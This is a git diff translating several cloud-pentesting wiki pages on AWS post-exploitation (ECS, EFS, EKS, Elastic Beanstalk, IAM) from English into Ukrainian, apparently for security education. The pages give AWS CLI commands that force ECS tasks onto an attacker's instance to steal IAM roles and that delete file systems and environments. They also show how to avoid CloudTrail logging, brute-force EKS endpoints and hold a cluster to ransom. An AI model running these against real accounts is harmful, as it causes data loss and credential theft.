other containers creds & secrets -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +Більше того, EC2 використовує docker для виконання завдань ECs, тому якщо ви зможете втекти до вузла або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**. #### Making containers run in current host -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. - +Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли в кластері. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера. ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +Ту ж техніку можна виконати, **виключивши EC2 екземпляр з кластера**. Це потенційно менш приховано, але це **змусить завдання виконуватись на інших екземплярах:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +Остання техніка для примусового повторного виконання завдань полягає в тому, щоб вказати ECS, що **завдання або контейнер були зупинені**. Існує 3 потенційних API для цього: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### Вкрасти чутливу інформацію з контейнерів ECR -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +EC2 екземпляр, ймовірно, також матиме дозвіл `ecr:GetAuthorizationToken`, що дозволяє йому **завантажувати зображення** (ви можете шукати чутливу інформацію в них). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..9f880b458 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - EFS Post Exploitation +# AWS - EFS Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## EFS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +Зловмисник може видалити ціль монтування, що потенційно призведе до порушення доступу до файлової системи EFS для додатків і користувачів, які покладаються на цю ціль монтування. ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**Потенційний вплив**: Порушення доступу до файлової системи та потенційна втрата даних для користувачів або додатків. ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +Зловмисник може видалити всю файлову систему EFS, що може призвести до втрати даних та вплинути на додатки, які покладаються на файлову систему. ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**Потенційний вплив**: Втрата даних та порушення роботи для додатків, що використовують видалену файлову систему. ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +Зловмисник може оновити властивості файлової системи EFS, такі як режим пропускної здатності, щоб вплинути на її продуктивність або викликати виснаження ресурсів. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**Потенційний вплив**: Погіршення продуктивності файлової системи або виснаження ресурсів. -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint` +Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу і потенційно надаючи собі несанкціонований доступ до файлової системи. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**Потенційний вплив**: Несанкціонований доступ до файлової системи, витік або модифікація даних. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..1f80cb24d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,110 +4,101 @@ ## EKS -For mor information check +Для отримання додаткової інформації перегляньте {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Перерахунок кластера з консолі AWS -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати об'єкти Kubernetes** через консоль AWS EKS ([Дізнайтеся більше](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster - -- Easy way: +### Підключення до AWS Kubernetes Cluster +- Легкий спосіб: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- Не такий простий спосіб: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name `**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати свій власний `~/.kube/config`**. Однак, маючи токен, вам все ще потрібен **url-адреса для підключення** (якщо вам вдалося отримати JWT токен з поду, читайте [тут](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) і **назва кластера**. +У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
-kube config - +kube конфігурація ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### Від AWS до Kubernetes -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього матеріалу **немає прямого способу** дізнатися **хто створив** кластер (ви можете перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**. -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +Спосіб надати **доступ до K8s для більшої кількості користувачів або ролей AWS IAM** - це використання **configmap** **`aws-auth`**. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Тому будь-хто з **доступом на запис** до конфігураційної карти **`aws-auth`** зможе **компрометувати весь кластер**. -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Для отримання додаткової інформації про те, як **надавати додаткові привілеї ролям та користувачам IAM** в **одному або різних облікових записах** та як **зловживати** цим, [**перевірте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Також перегляньте [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**. -### From Kubernetes to AWS +### Від Kubernetes до AWS -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Можливо дозволити **аутентифікацію OpenID для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token - -Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is +### ОТРИМАТИ кінцеву точку Api Server з JWT токена +Декодувавши JWT токен, ми отримуємо ідентифікатор кластера та також регіон. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Знаючи, що стандартний формат для URL EKS є ```bash https://...eks.amazonaws.com ``` - -Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one: +Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але проводячи деякі тести від свого імені, я бачу, що ці символи повторюються: - gr7 - yl4 -Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list - +В будь-якому випадку, це всього лише 3 символи, ми можемо їх перебрати. Використовуйте наведену нижче скрипт для генерації списку. ```python from itertools import product from string import ascii_lowercase @@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) number_combinations = product('0123456789', repeat = 1) result = [ - f'{''.join(comb[0])}{comb[1][0]}' - for comb in product(letter_combinations, number_combinations) +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) ] with open('out.txt', 'w') as f: - f.write('\n'.join(result)) +f.write('\n'.join(result)) ``` - -Then with wfuzz - +Тоді з wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` - > [!WARNING] -> Remember to replace & . +> Пам'ятайте, щоб замінити & . -### Bypass CloudTrail +### Обхід CloudTrail -If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). +Якщо зловмисник отримує облікові дані AWS з **дозволами на EKS**. Якщо зловмисник налаштовує свій власний **`kubeconfig`** (без виклику **`update-kubeconfig`**) як було пояснено раніше, **`get-token`** не генерує журнали в Cloudtrail, оскільки не взаємодіє з AWS API (просто створює токен локально). -So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. +Отже, коли зловмисник спілкується з кластером EKS, **cloudtrail не зафіксує нічого, що стосується вкраденого користувача та доступу до нього**. -Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). +Зверніть увагу, що **кластер EKS може мати увімкнені журнали**, які зафіксують цей доступ (хоча за замовчуванням вони вимкнені). -### EKS Ransom? +### Вимагання EKS? -By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. +За замовчуванням **користувач або роль, яка створила** кластер, **ЗАВЖДИ матиме адміністративні привілеї** над кластером. І це єдиний "безпечний" доступ, який AWS матиме до кластеру Kubernetes. -So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. +Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє AWS користувача/роль, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> Зверніть увагу, що якщо кластер використовує **EC2 VMs**, може бути можливим отримати адміністративні привілеї з **Node** і відновити кластер. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> Насправді, якщо кластер використовує Fargate, ви могли б EC2 вузли або перемістити все до EC2 в кластер і відновити його, отримуючи токени в вузлі. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6267ee02f..33c98ee6e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -4,7 +4,7 @@ ## Elastic Beanstalk -For more information: +Для отримання додаткової інформації: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -13,72 +13,58 @@ For more information: ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up. +> TODO: Перевірити, чи потрібні додаткові дозволи для цього +Зловмисник з дозволом `elasticbeanstalk:DeleteApplicationVersion` може **видалити існуючу версію програми**. Ця дія може порушити конвеєри розгортання програми або призвести до втрати конкретних версій програми, якщо вони не були збережені. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` - -**Potential Impact**: Disruption of application deployment and potential loss of application versions. +**Потенційний вплив**: Порушення розгортання додатків та потенційна втрата версій додатків. ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups. +> TODO: Перевірити, чи потрібні додаткові дозволи для цього +Зловмисник з дозволом `elasticbeanstalk:TerminateEnvironment` може **завершити існуюче середовище Elastic Beanstalk**, що призведе до простою додатка та потенційної втрати даних, якщо середовище не налаштоване для резервного копіювання. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` - -**Potential Impact**: Downtime of the application, potential data loss, and disruption of services. +**Потенційний вплив**: Час простою програми, потенційна втрата даних та порушення послуг. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up. +> TODO: Перевірити, чи потрібні додаткові дозволи для цього +Зловмисник з дозволом `elasticbeanstalk:DeleteApplication` може **видалити всю програму Elastic Beanstalk**, включаючи всі її версії та середовища. Ця дія може призвести до значних втрат ресурсів програми та конфігурацій, якщо вони не були створені резервні копії. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` - -**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss. +**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до порушення роботи сервісу та потенційної втрати даних. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior. +> TODO: Перевірити, чи потрібні додаткові дозволи для цього +Зловмисник з дозволом `elasticbeanstalk:SwapEnvironmentCNAMEs` може **поміняти CNAME записи двох середовищ Elastic Beanstalk**, що може призвести до того, що користувачам буде надана неправильна версія програми або до непередбачуваної поведінки. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` - -**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments. +**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик небажаної поведінки в програмі через змінені середовища. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Test if more permissions are required for this - -An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management. +> TODO: Перевірити, чи потрібні додаткові дозволи для цього +Зловмисник з дозволами `elasticbeanstalk:AddTags` та `elasticbeanstalk:RemoveTags` може **додавати або видаляти теги на ресурсах Elastic Beanstalk**. Ця дія може призвести до неправильного розподілу ресурсів, виставлення рахунків або управління ресурсами. ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` - -**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags. +**Потенційний вплив**: Неправильне виділення ресурсів, виставлення рахунків або управління ресурсами через додані або видалені теги. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index f734122e8..5374915ad 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,104 +4,90 @@ ## IAM -For more information about IAM access: +Для отримання додаткової інформації про доступ до IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## Проблема заплутаного заступника -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. +Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, оскільки якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), є ймовірність, що **B також зможе отримати доступ до вашого облікового запису**. -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. +Отже, коли ви дозволяєте зовнішньому обліковому запису отримати доступ до ролі у вашому обліковому записі, ви можете вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **прийняти роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Example: +Однак зверніть увагу, що цей `ExternalId` "секрет" **не є секретом**, будь-хто, хто може **читати політику прийняття ролі IAM, зможе його побачити**. Але поки зовнішній обліковий запис A знає його, а зовнішній обліковий запис **B не знає його**, це **запобігає зловживанню B для доступу до вашої ролі**. +Приклад: ```json { - "Version": "2012-10-17", - "Statement": { - "Effect": "Allow", - "Principal": { - "AWS": "Example Corp's AWS Account ID" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "12345" - } - } - } +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} } ``` - > [!WARNING] -> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts. +> Щоб зловмисник міг скористатися заплутаним заступником, йому потрібно буде якимось чином з'ясувати, чи можуть принципали поточного облікового запису видавати себе за ролі в інших облікових записах. -### Unexpected Trusts - -#### Wildcard as principal +### Несподівані довіри +#### Символ підстановки як принципал ```json { - "Action": "sts:AssumeRole", - "Effect": "Allow", - "Principal": { "AWS": "*" } +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } } ``` +Ця політика **дозволяє всім AWS** приймати роль. -This 